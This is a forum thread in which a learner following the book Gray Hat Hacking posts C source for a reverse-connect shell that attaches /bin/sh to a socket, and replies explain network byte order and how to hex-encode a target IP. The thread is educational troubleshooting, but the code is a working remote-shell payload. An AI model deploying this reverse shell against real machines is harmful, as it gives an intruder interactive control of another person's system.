Writing some shellcode, need a little help
Hey guys,
I'm working through Gray Hat Hacking and I'm trying to write the reverse connect shellcode example in the book.
The code originally had serv_addr.sin_addr.s_addr=0x650A0A0A; in it, which is 10.10.10.101. I figured it might be part of the environment in the book, so I changed it to 0x100000F7;, which is 127.0.0.1.
The book has me run a netcat session as "nc -nlvv -p 49059" and then run the program, which should just connect to the netcat session. nc just sits there, and the program just sits there. When I do a netstat to see what's going on, I get:
Code:
#
tcp 0 0 0.0.0.0:48059 0.0.0.0:* LISTEN 15795/nc
#
tcp 0 1 192.168.1.69:55624 247.0.0.16:48059 SYN_SENT 16187/reverse_conne
Which is an external IANA reserved IP. When I change the code to reflect the book, it goes out to the proper IP that I hardcoded, which is 10.10.10.101 and when I hardcode my wlan0's IP, it goes out to 12.138.16.84 which is owned by ATT. When I turn off the internet, the code just exits.
The book does not provide an environment to code in like Art of Exploitation does, so I'm trying it in BT4. I'm pretty much dumbfounded at this point, I'm not even sure how to troubleshoot this further. I understand if this is considered off topic.
Thanks in advance!
Source is below:
Code:
#include<sys/socket.h>
#include<netinet/in.h>
int main()
{
char * shell[2];
int soc,remote;
struct sockaddr_in serv_addr;
serv_addr.sin_family=2;
serv_addr.sin_addr.s_addr=0x100000F7;
serv_addr.sin_port=0xBBBB;
soc=socket(2,1,0);
remote = connect(soc, (struct sockaddr*)&serv_addr, 0x10);
dup2(soc,0);
dup2(soc,1);
dup2(soc,2);
shell[0]="/bin/sh";
shell[1]=0;
execve(shell[0],shell,0);
}
Re: Writing some shellcode, need a little help
Well it's been a while since my C code had to do this, but is s_addr in network byte order?
Presumably you're compiling your program and sending it out, so why not inet_aton("127.0.0.1"); instead of 0x100000F7 to see what happens (assuming I got the right function call etc. but you know what to do).
Beej's guide to network programming is golden for keeping this simple enough to read through. Then you can do your conversions and see how things go
Re: Writing some shellcode, need a little help
It appears to be specifying the address in reverse hex format.
e.g. from the line of code as follows:
Code:
serv_addr.sin_addr.s_addr=0x100000F7;
We obtain the address:
Break this into 4 individual bytes
Code:
0x10, 0x00, 0x00, 0xF7
The decimal equivalent of which is:
Reverse the order of the bytes to find the IP address:
So if you wanted to connect to an address of 192.168.0.1 (as an example), take the individual values:
Reverse the order:
Convert to hex format:
Code:
0x01, 0x00, 0xA8, 0xC0
Join together:
And modify the line of code to read as follows:
Code:
serv_addr.sin_addr.s_addr=0x0100A8C0;